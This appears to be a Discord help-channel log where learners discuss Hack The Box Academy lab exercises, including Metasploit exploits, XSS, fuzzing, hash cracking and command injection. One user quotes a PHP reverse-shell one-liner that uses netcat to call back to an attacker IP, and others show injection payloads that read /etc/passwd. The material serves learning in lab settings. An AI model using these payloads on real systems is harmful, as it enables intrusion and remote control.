#modules

1 messages · Page 312 of 1

pine dune
#

but Im having a little trouble, could someone pls guide me?

cloud urchin
#

did you try setting options and then running the exploit?

pine dune
#

yeah I did

cloud urchin
#

are you connected to the vpn?

#

is the target vulnerable?

pine dune
#

yeah it is and yea connected to vpn

cloud urchin
#

well since you didn't actually say what your issue is i'm running out of ideas. is your monitor on?

pine dune
#

let me see what the issues is lool

#

Exploit completed, but no session was created.

#

i think its something to do with the hname

#

im not sure if im entering the correct hname

fathom pendant
pine dune
fathom pendant
#

it means it was able to get the payload set and executed, but the payload didn't call back

pine dune
#

tun0

#

ok ill try set it

fathom pendant
#

RHOST
LHOST
these are the two options you generally always need to think about

pine dune
#

i set it to lhost tun 0 but it didnt work

fathom pendant
#

never had to configure hname afaik

pine dune
#

ok let me try rhost

#

for this exploit u do 😦

fathom pendant
#

tun 0 isn't an interface

#

???

pine dune
#

the LHOST

fathom pendant
#

LHOST is tun0 (no space)

pine dune
#

yea I set it to tun0

fathom pendant
#

anyway

#

that's likely not the right exploit if hname is a required option

pine dune
#

ahh I see okay

#

how do u go about finding the right exploit

#

Ive just done an nmap scan on the ip and looked for open ports

fathom pendant
#

i mean search eternalblue in msfconsole

cloud urchin
#

usually enumerating the services etc

fathom pendant
#

if it's the one that's dealing with eternalblue/eternalromance

#

but i genuinely don't recall ms05_017_msmq being the exploit used

pine dune
#

It had that port open

fathom pendant
#

yes

#

if it's eternal blue then SMB is gonna be open

#

there's several exploits for eternalblue/eternalromance

pine dune
fathom pendant
#

isn't that literally what this section you're doing is about?

#

also that's what ms05_017 is

pine dune
#

no its not eternal blue let me show u

#

Automating Payloads & Delivery with Metasploit

fathom pendant
#

ah

#

wait

pine dune
#

yeaa

fathom pendant
#

that doesn't sound familiar at fuckin all

#

lemme pull it back up

pine dune
#

maybe they updated the module 😅

fathom pendant
#

no

pine dune
#

ahh

fathom pendant
#

the metasploit module yeah?

pine dune
#

nah let me show u

#

shells and payload module

fathom pendant
#

ok yeah it is what i thought it was

#

you're looking at the wrong exploit

pine dune
#

yea but my question is how do I go about finding the right exploit

fathom pendant
#

in general you should always try eternal blue when smb is involved

pine dune
#

these are all the ports

fathom pendant
#

don't run --script vuln

pine dune
#

okay

fathom pendant
#

just run default scripts

plucky hollow
#

-p-

pine dune
#

ahh ok cool

fathom pendant
#

this section explicitly tells you which exploit to use

#

even

#

might not be in the same exact location as your msfconsole search

#

but the name will be the same

pine dune
fathom pendant
pine dune
pine dune
#

ahh ok

plucky hollow
fathom pendant
#

but there's a handful of exploits related to this vulnerability

#

you can use any that's related

#

but msmq is way out of scope

pine dune
fathom pendant
#

¯_(ツ)_/¯

#

actually

fathom pendant
pine dune
#

damn lool why is that

fathom pendant
#

it's not always accurate kek

pine dune
#

has the highest rank 😅

fathom pendant
#

just use one of the exec one

#

highest rank != good

pine dune
#

okay cool

#

let me try use one of them

fathom pendant
#

as someone that's done this module

#

and this section

#

i'm not gonna have someone double check for more shit when it's not necessary

fathom pendant
fathom pendant
# pine dune

another indicator here is version: Windows 7 - 10 microsoft-ds as an fyi

#

the windows 7 is the critical part

fathom pendant
#

it's one thing though to recommend scanning for more ports when what they need to exploit isn't there

plucky hollow
pine dune
fathom pendant
#

but not atm

#

is the point

plucky hollow
#

ok

fathom pendant
#

you don't need to set all the options as in the example, as you can see they're already set by default

pine dune
pine dune
#

oh wait it didnt

#

😂

pine dune
#

same problem

fathom pendant
#

did you set the password and user

#

forgot that is somewhat important

pine dune
#

exploit completed but no session

fathom pendant
pine dune
#

ahh let me see

#

smbpass and smbuser arent required tho

#

ugh why isnt this working 😭

fathom pendant
#

ah

#

it's the wrong exploit completely

#

look at the example; use that exploit

#

AS I SAID EARLIER

#

just windows/smb/psexec

#

and the question states "using what you learned in this section" (alongside the first question) should lead you to be using exactly the same exploit

pine dune
#

ahh okay thank u marcie

#

it worked...finally

fathom pendant
#

as a sidenote

#

instead of msfconsole psexec

#

you can just use the impacket one

unique ether
#

Any idea why target spawning is taking like so much time

#

The pwnbox spawned fast but the module machine is taking so much time

#

Someone please guide it's been on loading forever

hushed sail
hard matrix
#

refresh page and make sure its not just the widget bugged
otherwise change regions and regenerate your vpn key
happens occasionally

hushed sail
unique ether
#

Ok thanks for suggestions

#

I'll try

foggy monolith
#

Having the exact same problem as this person now. Tried using the ||EternalBlue module|| and got back a Connection reset by peer error, tried using windows/iis/iis_webdav_upload_asp as the module suggests only to get a 404 every time. So, if it's not SMB and if it's not IIS, then what is it?

#

Never mind, running nmap again found another open port that adding the script scan missed.

scarlet jacinth
#

I have also same problem that spawning target server takes too long. Is anyone having same situation here? It seems there's some technical issue on the background of HTB academy infrastructure.

scarlet jacinth
plucky hollow
#

I am using xsstrike and it tells me: [+] WAF Status: Offline [!] Testing parameter: s [!] Reflections found: 6 [~] Analyzing reflections [~] Generating payloads [!] Payloads generated: 4608
However, I don't know where I can see which payloads resulted in a successful reflection.

cloud urchin
#

what module/section

plucky hollow
#

Cross-Site Scripting (XSS)

Skills Assessment

solar zodiac
#

I wonder if there are any plans for cloud related content in academy 🙂

cloud urchin
jade latch
#

its a simpler payload than you expect

fathom pendant
#

Xsstrike is like linpeas or linenum imo, throws a bunch at you that makes things harder to parse

#

At least if you don't know what you're doing*

plucky hollow
# cloud urchin idk i did manual enumeration

Yes, I solved it with manual enumeration a few minutes after the question, but I still have that doubt of not being able to use that tool. Some time before I had also had problems with it and it bothers me not to be able to do it.

safe star
#

how long should it take to find the "You don't have access!" page in the fuff skill assessment? feels like i been here for hours

uncut ocean
#
bitlocker2john -i Backup.vhd > backup.hashes

Signature found at 0x1000003
Version: 8 
Invalid version, looking for a signature with valid version...
Error while extracting data: No signature found!```
#

why am i getting error ?

safe star
#

try the pwnbox

#

this is what my command looks like

fathom pendant
uncut ocean
fathom pendant
#

If you utilize the search feature I've shared the md5sum of backup.vhd

#

If it doesn't match: file got corrupted in transit

safe star
#

same happended to me

fathom pendant
safe star
#

i thought it was done cause i saw the connection come back

uncut ocean
fathom pendant
#

¯_(ツ)_/¯

safe star
uncut ocean
safe star
#

wait i think i got it

fathom pendant
#

Bro it is 2 am and I am not movin

uncut ocean
#

either that runner machine is also not working i plan to do it again before ippsec video

fathom pendant
#

Also, were you using the right thing

safe star
#

oh yeah

#

i finally got it after 3 hours

fathom pendant
#

-mr is to match regex you supply

#

Such as a string

uncut ocean
#
Time.Started.....: Sat Aug 24 11:24:57 2024 (11 secs)
Time.Estimated...: Thu Sep 19 16:35:15 2024 (26 days, 5 hours)
fathom pendant
#

Estimated time != actual time

#

Estimated is if it has to go through the whole list

#

Which it won't

#

Htb isn't that mean

uncut ocean
#

ya but i am amazed

uncut ocean
fathom pendant
#

¯_(ツ)_/¯

#

You're on the last leg of the journey for that module

rustic sage
fathom pendant
#

Like huh?

rustic sage
#

Lol

uncut ocean
limpid frigate
#

anyone who has finished module Intro to C2 Operations with Sliver, can I get a bit help, kinda stuck

dim wolf
#

password cracking is probably constant time so if it is longer it's not by a significant amount

uncut ocean
#
Time.Started.....: Sat Aug 24 11:28:44 2024 (4 mins, 21 secs)
Time.Estimated...: Mon Sep 30 22:40:47 2024 (37 days, 11 hours)
#

hell no

fathom pendant
#

Just be patient

#

The hidden sublesson in this module is patience brother

dim wolf
#

perfect password cracking is constant time

#

but we live in reality

uncut ocean
fathom pendant
#

Don't worry about it

#

Go get a snack

dim wolf
#

it means you are going to wait

fathom pendant
#

Refill your water

#

Patience is a big thing in this field

uncut ocean
#

ya i should inject some caffeine

fathom pendant
#

Not everything is instant gratification

storm elk
#

Drink a coffee

#

Go walk with the dog or cat

safe star
uncut ocean
safe star
#

it took me about 12 secs

uncut ocean
safe star
uncut ocean
#

which wordlist?

safe star
#

mutated

#

with hashcat

fathom pendant
#

I mean

#

The password exists in rockyou

sterile solstice
uncut ocean
safe star
#

i was NOT waiting for 14 million passwords 😭

fathom pendant
#

it exists in both technically

fathom pendant
safe star
#

true

fathom pendant
#

It would stop after it hit the first one

safe star
#

but i know its in the mutated tho

fathom pendant
#

Yup

#

Silent lessons here

#

Always start small then go big

#

You have resources from the module, try those first

uncut ocean
#

okk but like after cracking like i have to mount it ? '

safe star
#

yup

#

i had to do some crazy file transfers for that 😭

uncut ocean
#

Finally cracked !

dim wolf
uncut ocean
#
-a----        2/11/2022   4:29 AM             21 flag.txt.txt
#

what a format

steady charm
#

Does anyone know what does a Pwned message in CME or NXC mean specifically on the LDAP protocol?
For SMB it means local admin, for WinRM it means access via WinRM but for LDAP?

cloud urchin
#

they all mean admin afaik

jade latch
#

pwned means rce so its probably that it can query ldap

steady charm
steady charm
# cloud urchin they all mean admin afaik

that's what confused me, the user has no admin anywhere, yet BloodHound marks it as a high value user part of a tier 0 group. yet I have no idea what this user can even do

cloud urchin
#

pwned means admin

steady charm
#

and how do you "leverage" admin on LDAP do say

cloud urchin
#

hash dump is a good one

#

actually not sure you can hash dump with ldap

#

you can do crackmapexec ldap -L to see the modules

eager ledge
cloud urchin
#

yeah i think i just inferred the answer with leetspeak

steady charm
#

Via nxc I need SMB rights to dump hashes. But I see there might be a way to do it via LDAP as well but different tool

cloud urchin
#

cme ldap is great for enumeration stuff

steady charm
#

yeah but i can enumerate without having the pwned message. my guess is I have write DACL privileges

cloud urchin
#

yeah that's correct. but pwned means admin account so you can enumerate more

fathom pendant
cloud urchin
fathom pendant
#

It's dumb lol

eager ledge
#

Every time I run the same command, I am getting different values(off by one). Does this mean that we cannot completely rely on sqlmap if the attack is blind?

misty current
#

There’s also a tool called Ghauri, which sometimes works better than sqlmap with blind types

eager ledge
#

Thanks!

sterile solstice
#

there are some commands in LDAP that will local require admin, i.e. getting list for trusted delegation, password-not-required, gmsa.

steady charm
steady charm
sterile solstice
#

no problem. i dont use the LDAP query much. you can do hash dumps with the smb protocol. though for NDTS im unsure if thats in LDAP or not.

#

i do recommend the CME course. im 3/4 through it, but loving it. its been super useful.

high warren
#

Hi, anyone can help ? Idk why the version's not showing

misty current
high warren
#

Still not appearing

marsh echo
#

You tried with -p 53 —script dns-nsid —sSU

bright pivot
#

sqlmap 'http://94.237.60.129:45661/case2.php' --compressed -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://94.237.60.129:45661/case2.php' -H 'Content-Type: application/x-www-form-urlencoded' -H 'Origin: http://94.237.60.129:45661' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' --data-raw 'id=2' -batch-dump -T flag2
why i cannot find the flag with this command ?

wary plover
gray yacht
split pollen
#

I've made it into the admin portal of the target, and am trying to modify the Theme template.php by adding a php reverse shell one-liner.. <?php system ("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.15 9443 >/tmp/f"); ?> .. when I do this, the page won't load at all

#

so I tried using <?php system('id'); ?> which works perfectly fine and I can see the ID in the home page..

bright coral
split pollen
#

I have openvpn running on my local machine, vm is running the attack which has that IP

#

no problems reaching the target on the vm and that IP can ping the target

bright coral
bright coral
split pollen
#

lol I've literally been on this for like 2 hours..

#

that worked 🥲

#

the vpn should be a split tunnel, right? I quit using it inside my vm bc I can only reach the internal network.. anything external gives me an unknown host error

bright coral
split pollen
#

that's weird.. does parrot have vpn settings by default to block all external network traffic when vpn is enabled?

vocal bridge
#

the owasp hud doesnt show me the tools anymore and i have to do it from the zap application did i do something wrong?

bright coral
split pollen
#

thoughts on troubleshooting? again, with vpn on, only internal network traffic is being allowed

bright coral
split pollen
#

10.10.0.0 is default gateway?

bright coral
split pollen
#

no, looks like it's 10.10.14.1

bright coral
rustic sage
#

sorry if asking in wrong channel but where do i start with learning in htb? all i know my linux basics + pentesting basics

split pollen
#

choose a path or a module that's interesting and start learning 🙂

rustic sage
#

well i need from the very start like a whole guideline cause im very confused

split pollen
#

what's your end goal? certs? learning?

rustic sage
#

thanks someone told me in general

#

learning.

vocal bridge
#

i can't figure out how to write the request in the url in a way that it gives me the flag

trim frost
vocal bridge
trim frost
# vocal bridge yea.

ok so you have access to the system on some way, you just have to look for the flag in normal locations

vocal bridge
#

i just don't get how to rewrite the request to give me the flag. just writing &cat /flag.txt& doesnt work

#

i have to parse it somehow but i cant remember how

trim frost
#

so I don't know zap but decoder in burpsuite (or even cyberchef) can help with encoding your commands

magic girder
#

I'm Japanese, but I want to make a hack BOT, please let me know.

vocal bridge
trim frost
#

did you try ls

wise vault
#

Exploitation & Privilege Escalation section of Attacking Enterprise Network. question is how i can broswer the 172.x.x.x with proxychains?

#

any hint?

vocal bridge
#

i can't figure out how did zap encode it

#

when i run it through cyberchief(i decoded and encoded back) it changes my request and it doesn't work anymore

trim frost
#

so do you know what %26 is decoded?

vocal bridge
#

%20 is space character

bright coral
trim frost
#

so unix commands in general are separated by ; so you are asking the system to ping 127.0.0.01 then ; then <insert another command here>

trim frost
#

| is to pipe output to intput

#

& is to put something in the background

#

so basically when you are doing command injection, you are saying 'sure sure, here ping this but then give me my command'

#

so you do ping 127.0.0.1;cat /etc/passwd; initially

#

now you want to see what is in the root directory (/), you want to take the above and modify it to do ls /

vocal bridge
#

it worked using ;

vocal bridge
#

i just cant figure out why when i decoded it took ; as &

trim frost
#

interesting

vocal bridge
#

or leave them here

trim frost
#

nah its ok, I usually just use burpsuite decoder unless I need other encoding types

silent falcon
#

need a hnint in api attack skill assessment, guys

alpine summit
#

Hello I'm stuck too. Can I send you a PM to see if I'm on the right track?

gray yacht
autumn plume
#

Has anyone solved Sea machine

fathom pendant
split pollen
fathom pendant
#

You're root brother

split pollen
#

ya I've got the flag, the terminal is just all fucky tho

fathom pendant
#

Wdym "fucky"

split pollen
#

in the second picture.. the blinking [] showing where you'd normally type in the line is beneath the root@gettingstarted:...

fathom pendant
#

You get used to those things, you're not in a perfect shell

split pollen
#

so anything I type isnt actually coming on the line I can see

fathom pendant
#

I generally haven't gone as far as upgrading shell with background/stty

#

Usually just the python upgrade works for me

split pollen
#

ocd 😛

fathom pendant
#

Deleted your images as they contain the command to privesc

#

Also ocd is a killer in this field

#

You will have to deal with imperfections

#

Especially with reverse shells

split pollen
#

fair enough.. just making sure I wasn't missing something simple

#

thanks 🙂

fathom pendant
#

They aren't exactly stable

#

The barebones minimum is it runs the command you tell it

#

If you want a stable shell see if there's an id_rsa in the /root/.ssh directory

fading kettle
#

Good morning, I am struggling with the Windows event logs module question 1 "Analyze the event with ID 4624, that took place on 8/3/2022 at 10:23:25. Conduct a similar investigation as outlined in this section and provide the name of the executable responsible for the modification of the auditing settings as your answer. Answer format: T_W_____.exe"

Steps taken so far: I filtered the security logs by Event ID. I then found the event 4624 identified in the prompt. Took screenshots so I have the Logon ID. From there I need to find the executable. When I filter by the Logon ID I found using the XML query example listed in the module there are still thousands of events. I tried honing in on event IDs 4907 originating from the login ID I grabbed but there are still 100s of entries none of which are matching the prompt. Does anyone have any advice on what to try/additional resources I should take a look at? Already read the linked articles in the module. Thanks!

fathom pendant
#

Also make sure you're looking against the right event id

fathom pendant
fading kettle
#

Great thank you very much for the quick response and those links, diving back in!

fathom pendant
#

Not saying either of those would be right/wrong

#

Just offering insight on what logs may contain data about an exe

fading kettle
#

Yeah that is super helpful no matter if they are the ones. I am also going to pay closer attention to the date/time to try and narrow that down, thank you again.

fathom pendant
#

Mhm

slate halo
#

Im doing Attacking Thick Client Applications and I cannot find the Matt user after running the command .\Restart-OracleService.exe also in Procmon64 I get this C:\Users\cybervaca\AppData\Local\Temp\69DD.tmp\69DE.tmp\69E0.tmp

vocal bridge
#

I cant figure out a way to both add the character to the cookie and encode the entire cookie at the same time in burp

#

i tried using cluster type attack but didnt work

marsh echo
#

Then you will have to modify the .bat file

vocal bridge
marsh echo
slate halo
jade latch
#

yes

vocal bridge
trim frost
#

well so what you are supposed to do there is you have 31 characters, you add a character, then encode it in the same order you decoded it

#

is that what you did? does what you are sending back look like the expected encoded character?

marsh echo
jade latch
trim frost
#

but then you are going to have 62 responses, one of those responses will look right

#

or one of those responses will stand out and look right

trim frost
vocal bridge
#

nvm i figured it out

marsh echo
vocal bridge
#

maybe this fixes it

slate halo
trim frost
#

oh oops

jade latch
marsh echo
marsh echo
#

For using proxy I redo the skill assessment I made the mistake of not taking notes 🤦🏾‍♂️

vocal bridge
#

didn't work. no response

trim frost
#

yeah but you said you were doing wrong url, right?

vocal bridge
#

this is the right one

fathom pendant
trim frost
#

yeah I think it is more than one

fathom pendant
#

Afterwards it's just adding the cookie to browser to bypass login

vocal bridge
fathom pendant
#

Well once you get the cookie

#

Also intruder has 2 tabs

#

Request and response

#

Instead of viewing the request, view the response :)

#

You can also filter response size

vocal bridge
#

i think i forgot to send a pic

#

instead of a response it says it produced and error

fading cipher
#

Im working on Information Gathering - Web Edition - Skill Assessment.
Is there something I have to do to get tools to properly work on it. I am not getting anything from subdomain enumeration, reconspider or finalrecon.

I have the hosts ip with inlanefreight.htb on /etc/hosts...

gray yacht
vocal bridge
vocal bridge
fathom pendant
#

Are you sure you're encoding them in the right order?

gray yacht
vocal bridge
fathom pendant
#

Is that the reverse order you decoded in?

#

It's been a minute since I've done it

hard matrix
vocal bridge
cloud urchin
#

that's hex and base64

fathom pendant
#

^

fading cipher
gray yacht
fathom pendant
cloud urchin
#

ahh yeah

fathom pendant
#

As the second encoder

cloud urchin
#

sorry i haven't had my coffee yet

cloud urchin
#

when i hear ascii i think text pics haha

fathom pendant
#

Also if you don't find something, fuzz for subdomains

#

Add the subdomain to /etc/hosts --> repeat

fading cipher
#

I am not finding anything on the subdomains either

fathom pendant
#

What is your syntax?

fading cipher
#

and theres no robots

fathom pendant
#

For fuzzing

fading cipher
#

for directories
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -u http://inlanefreight.htb:45187/FUZZ -recursion-depth 5

for subdomain
ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://FUZZ.inlanefreight.htb:45187

fathom pendant
#

That's wbt it's not working

#

That's not how you fuzz vhosts

#

-H "Host: FUZZ.inlanefreight.htb"

cloud urchin
#

his -u parameter needs to be changed too

fathom pendant
#

Yeah sorry I was eating something

fading cipher
#

let me try that

cloud urchin
#

review the vhost enumeration section again and it'll give you the command

fathom pendant
fading cipher
#

i tried the gobuster command they gave

#

but ya

fathom pendant
#

gobuster vhost command not gobuster dns

fading cipher
#

gobuster vhost -u http://inlanefreight.htb:81 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

fading cipher
#

yea i know

fathom pendant
#

The :81 is just to show you can specify the port

fading cipher
#

its just the copy paste from the notes lol

vocal bridge
#

i think imma just give up for now

fading cipher
#

actually I think the ffuf doesnt work either

vocal bridge
#

move on and maybe do it later. i think i got the jist of it

cloud urchin
fading cipher
#

its giving 200 on everything it looks like

gray yacht
vocal bridge
cloud urchin
#

that's all you have in your request? that is not a valid request

fathom pendant
#

-fs <common size you see>

vocal bridge
gray yacht
vocal bridge
cloud urchin
#

the question says it's a md5 hash that's missing the last character, and in sniper you have the entire cookie selected instead of fuzzing just the last character.

vocal bridge
vocal bridge
gray yacht
cloud urchin
#

ok i see that in the other pic. this pic still looks weird to me. he has a cookie: header with a value of phpssid and then another cookie value so it looks weird to me but i can't remember off the top of my head if it's supposed to be that way. the module and section would help a lot.

fathom pendant
#

Yeah it's silly

cloud urchin
#

i found it, web proxies. looks like it is supposed to be that way.

fathom pendant
#

Yeah

#

¯_(ツ)_/¯

#

Ik there's some that should give an output

#

Been a minute though

marsh echo
cloud urchin
#

each payload gives a response, but only one has the flag

fathom pendant
#

Ye

cloud urchin
#

there's also a step he needs to perform before that fuzz will work

trim frost
#

I thought I did it like they did, added character then encoded entire string

cloud urchin
#

not sure if he did that or not

trim frost
#

but think ricky is helping them out

cloud urchin
static light
#

Hey what do I do if the verification link to my email isn’t working??

cloud urchin
fading cipher
#

🤷‍♀️

fathom pendant
#

¯_(ツ)_/¯

vocal bridge
#

also i think i encoded in the wrong order

#

shit happens

cloud urchin
#

now you will never forget

trim frost
#

yup

fathom pendant
sturdy cobalt
#

Anyone willing to donate me a voucher on htb ehehehehe

vocal bridge
sturdy cobalt
#

It's bad when you run out of cubes

cloud urchin
#

very important setting

fathom pendant
#

But spending money will prevent that

sturdy cobalt
sturdy cobalt
fathom pendant
#

¯_(ツ)_/¯

trim frost
#

I think they said you can win a silver membership during trivia

#

so maybe look for opportunities to win cubes/membership

fathom pendant
#

Participate in seasons

cloud urchin
fathom pendant
#

They work

#

I won silver annual from it last year

sturdy cobalt
rustic sage
#

so far I have tried this curl https://www.inlanefreight.com/ > inlanefreight.txt followed by cat inlanefreight.txt | grep https://www.inalanefreight.com/ | sort -u | wc -l

#

it doesn't seem to work

trim frost
#

what section is this? usually the commands and what not are within the section

rustic sage
#

do you guys have any hints i could use? i don't want the straight up answer, just something i could use to advance

trim frost
#

downloading an entire website seems extreme

rustic sage
#

it's a small file

static light
#

how do I contact hackthebox support through email?

rustic sage
#

22266 (the size)

acoustic owl
compact patrolBOT
trim frost
#

yeah sounds like source code is the way

rustic sage
#

i'm seeing a lotta href's and src's using that path

static light
# acoustic owl ^

If I contact them through email they won’t respond till Monday right??

rustic sage
#

are those also paths of the domain or just the domain itself?

trim frost
#

href would be a link

acoustic owl
acoustic owl
static light
rustic sage
#

this is pretty difficult for me at the current moment haha

#

i cant wait to look back on this day in a few years and realize how i've grown. but first i gotta solve it 💀

trim frost
#

I'm looking at it now, I'll say one thing you'd want to do is do a bit of trial and error

#

so you kind of do a grep, see what you see, then try to figure out what to make of that

acoustic owl
rustic sage
#

cat inlanefreight.txt | grep "href\|src='https://www.inlanefreight.com" | sort -u | wc -l

this didn't work either

#

wait i see why

trim frost
#

well you got a lot of junk there

rustic sage
#

there are also href and srcs with double quotes instead of single quotes

acoustic owl
rustic sage
#

there was another path with double quotes, 60 in total, but that's not the correct answer either

trim frost
#

you got cut, tr, awk all available to you

#

what if I said your goal was to just get the url?

rustic sage
#

hear me out. what if i use tr to replace every " " with a new line to have everything on one line, THEN grep for href and src?

trim frost
#

not a href, not any tags, nothing?

rustic sage
trim frost
#

may be a good thing to try to see if that gets you closer to your goal

rustic sage
#

gave me 47 this time.

#

cat inlanefreight.txt | tr " " "\n" | grep "href\|src='\|\"https://www.inlanefreight.com/" | sort -u | wc -l

trim frost
#

are you looking at the output before you do a wc -l, I mean you might be on the right path

rustic sage
#

i am!

#

i am looking

trim frost
#

why are you doing href\|src=

#

that is grabbing anything with href

#

not specific to inlanefreight

rustic sage
#

i grouped (href|src)

#

it gave me 18 results now

#
href="https://www.inlanefreight.com/"
href="https://www.inlanefreight.com/index.php/about-us/">About
href="https://www.inlanefreight.com/index.php/career/">Career</a></li>
href="https://www.inlanefreight.com/index.php/comments/feed/"
href="https://www.inlanefreight.com/index.php/contact/">Contact</a></li>
href="https://www.inlanefreight.com/index.php/feed/"
href="https://www.inlanefreight.com/index.php/news/">News</a></li>
href="https://www.inlanefreight.com/index.php/offices/">Offices</a></li>
href="https://www.inlanefreight.com/index.php/wp-json/"
href="https://www.inlanefreight.com/index.php/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.inlanefreight.com%2F"
href="https://www.inlanefreight.com/index.php/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.inlanefreight.com%2F&#038;format=xml"
href="https://www.inlanefreight.com/index.php/wp-json/wp/v2/pages/7"
href="https://www.inlanefreight.com/">Inlanefreight
href="https://www.inlanefreight.com/">Inlanefreight            <br>
href="https://www.inlanefreight.com/">Services</a></li>
href="https://www.inlanefreight.com/wp-includes/wlwmanifest.xml"
href="https://www.inlanefreight.com/xmlrpc.php?rsd"
url("https://www.inlanefreight.com/wp-content/themes/ben_theme/images/breadcrumb-back.jpg")
#

i dont get what that url thing is at the bottom though

#

it doesn't start with href or src

#

i can't get do this yet

#

i need something to solve it

#

@trim frost cat inlanefreight.txt | tr " " "\n" | grep https://www.inlanefreight.com/ | sort -u | wc -l gives me 38

rustic sage
#

like, no a/b/. just a/

trim frost
#

you might wanna delete those

#

you are so close though, just double check what you see before you wc -l

rustic sage
#

i have to single out the ones that are EXACTLY the plain path and leave out the ones with more / s in them

#

@trim frost I counted everything as it was and then removed manually the ones that weren't subdomains. it gave 33, but that wasn't right either.

#

i'm tired. i will continue tomorrow. this is a bit frustrating

trim frost
#

just double check everything, but yup, I'll say you are close

rich wraith
#

Module: Attacking Common Services -> Attacking SMB -> Third task:
cant login to the system with SSH

#

||ssh -i id_rsa jason@10.129.74.159||

#

btw it didnt give me any error

hard matrix
#

ping the host is it up

#

what do you mean no error?

fathom pendant
hard matrix
#

usually if you don't chmod 600 it'll yell at you to set the permissions correctly so thats why im assuming he has already done that

#

unless you mean the rsa key content itself is wrong

fathom pendant
fathom pendant
rich wraith
fathom pendant
#

It's just hanging, got it

#

Ctrl+c

rich wraith
fathom pendant
#

Reset the target

#

Change ip to new ip

#

(This does not affect the id_rsa)

rich wraith
#

its still hanging

fathom pendant
#

Try putting the -i id_rsa at the end

fathom pendant
# rich wraith

This feels like it's having a timeout issue, when you ping - what's the latency?

#

Do you have only 1 vpn running?

#

Do you have pwnbox running?

wise vault
#

did someone faced this issue

rich wraith
fathom pendant
#

Hm

#

There's some routing that isn't happening then

#

Change vpn regions and download a new vpn

hard matrix
#

ssh [...] -vN

#

but yeah weird
sometimes instances will just die

rich wraith
jolly maple
#

Hello everyone. I had a question about a lab on page 7 of Web Requests POST. I'm trying to get the flag but I'm not able to get a search response because it says that it's been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
Any ideas on how to overcome this issue?

fathom pendant
#

or making sure all your stuff is up-to-date

rich wraith
#

its working, I had to add this parameter XD :
-o KexAlgorithms=ecdh-sha2-nistp521

fathom pendant
#

you shouldn't have to

#

lmao

#

generally means your shit is outdated

gilded radish
shut vapor
#

Password Attack Labs done.

gilded radish
#

congrats

shut vapor
#

that was cool. A couple tricky bits but not bad at all.

gilded radish
#

modules are insanly cool on htb

midnight galleon
#

a bit of a stupid question here
I was reading about PtH attacks and i was wondering. Since we can do so much with the hash itself. what is the point of cracking the hash and obtaining the password other than the possibility of password reuse?

swift osprey
#

Is fraud got real

shut vapor
fathom pendant
swift osprey
#

Fraud gpt

fathom pendant
swift osprey
#

Ai tool for hacking

fathom pendant
midnight galleon
#

what are possible situations that i can't Pth?

fathom pendant
swift osprey
gilded radish
safe star
#

fraud gpt

swift osprey
fathom pendant
fathom pendant
safe star
#

idk what that is 💀

midnight galleon
swift osprey
foggy monolith
fathom pendant
#

Meaning it's fucking illegal

#

And has 0 place in this discord

safe star
fathom pendant
#

^

midnight galleon
#

yeah

fathom pendant
#

NTLM is the fallback authentication protocol if Kerberos cannot be negotiated

#

But if a domain is configured properly, it will enforce kerberos authentication

midnight galleon
#

ok if i have the ntlm hash can't i just forge tickets?

fathom pendant
#

No

#

An ntlm hash [alone] can't forge tickets, you need the tgt to forge tickets

foggy monolith
#

And because the SYSTEM account is locked by default there isn't going to be any hash to pass.

midnight galleon
fathom pendant
#

Pretty much

gloomy pebble
#

BRO CAN YOU HELP ME

midnight galleon
gloomy pebble
#

I DIDNT FIND IT

fathom pendant
#

And in cases of ntlm auth disabled, lm hashes are disabled

fathom pendant
#

Chill with the caps lock

gloomy pebble
fathom pendant
midnight galleon
gloomy pebble
#

hahah sorry

fathom pendant
#

The format of an ntlm hash is lm:nt btw

#

If lm is disabled it's usually filled with a bunch of aaaaaaaaa

midnight galleon
#

i mean they are disabled long ago right?

fathom pendant
#

No

midnight galleon
#

or not in use or seomething

fathom pendant
#

Lm hashes are still very much in use by misconfigured systems

#

<@&861185840277487616>

terse vale
#

🥲

west rampart
#

no

fathom pendant
terse vale
#

Where I can see this stuff?

fathom pendant
#

Just because it's recommended to disable lm hashes, doesn't mean they are @midnight galleon

fathom pendant
midnight galleon
foggy monolith
# midnight galleon do i need NT Auth exclusivly or any local admin?

Local admins are like accounts that have /etc/sudoers entries on a Linux machine. Even if you have access to one of them, UAC is still likely to intervene and prevent you from having any access to the krbtgt or other Kerberos stuff — and by default, because UAC requires a graphical environment, that means you need to use RDP as a local admin to do that. By default, RDP is set up in such a way that you'll get an error message if you try to pass-the-hash of a local admin account to access it, as I did when I attempted to do just that in the Metasploit module.

midnight galleon
nova ocean
#

hi guys can anyone please help me with this module? Password Attacks part Passwd, Shadow & Opasswd

#

i am stuck

rich wraith
shut vapor
rocky mist
#

do i have to complete the Information Security Foundations path before starting to learn the other stuff?

nova ocean
#

Examine the target using the credentials from the user Will and find out the password of the "root" user. Then, submit the password as the answer.

acoustic owl
rocky mist
acoustic owl
rocky mist
steady charm
acoustic owl
cold star
#

2024-08-24 16:41:53 Data Channel: cipher 'AES-256-CBC', auth 'SHA256', peer-id: 0, compression: 'lzo'

acoustic owl
cold star
acoustic owl
#

/p:‘yourpassword‘

#

It contains special characters, which leads to errors

cold star
acoustic owl
#

Use Single Quotes

#

And no space between p: and your password

solid storm
#

hi

cold star
shut vapor
solid storm
#

@acoustic owl

cold star
solid storm
#

sorry the ping

#

but

cold star
plucky hollow
#

why where says us free 3 is red

#

sorry new with htb labs

fathom pendant
cold star
fathom pendant
acoustic owl
solid storm
#

Everything is correct, and there are no spaces. Why is it marking it as incorrect? It's the Shells and Payloads module

cold star
fathom pendant
cold star
plucky hollow
fathom pendant
#

Did you copy the path directly or type it out?

#

Also try refreshing the page and inputting again

solid storm
fathom pendant
#

So that you can ensure no typos

cold star
